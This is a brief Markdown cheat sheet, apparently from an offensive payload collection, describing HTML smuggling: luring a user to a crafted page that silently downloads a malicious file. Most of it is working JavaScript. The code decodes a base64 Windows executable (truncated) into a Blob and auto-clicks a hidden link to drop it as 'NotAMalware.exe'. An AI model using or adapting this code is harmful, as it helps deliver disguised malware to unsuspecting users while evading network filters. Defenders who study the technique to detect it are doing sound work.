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43 lines
1.3 KiB
Markdown
43 lines
1.3 KiB
Markdown
# HTML Smuggling
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## Summary
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- [Description](#description)
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- [Executable Storage](#executable-storage)
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## Description
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HTML Smuggling consists of making a user to navigate to our crafted HTML page which automaticaly download our malicious file.
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## Executable storage
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We can store our payload in a Blob object => JS: `var blob = new Blob([data], {type: 'octet/stream'});`
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To perform the download, we need to create an Object Url => JS: `var url = window.URL.createObjectURL(blob);`
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With those two elements, we can create with Javascript our \<a> tag which will be used to download our malicious file:
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```Javascript
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var a = document.createElement('a');
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document.body.appendChild(a);
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a.style = 'display: none';
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var url = window.URL.createObjectURL(blob);
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a.href = url;
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a.download = fileName;
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a.click();
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window.URL.revokeObjectURL(url);
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```
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To store ou payload, we use base64 encoding:
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```Javascript
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function base64ToArrayBuffer(base64) {
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var binary_string = window.atob(base64);
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var len = binary_string.length;
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var bytes = new Uint8Array( len );
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for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
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return bytes.buffer;
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}
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var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...
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var data = base64ToArrayBuffer(file);
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var blob = new Blob([data], {type: 'octet/stream'});
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var fileName = 'NotAMalware.exe';
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``` |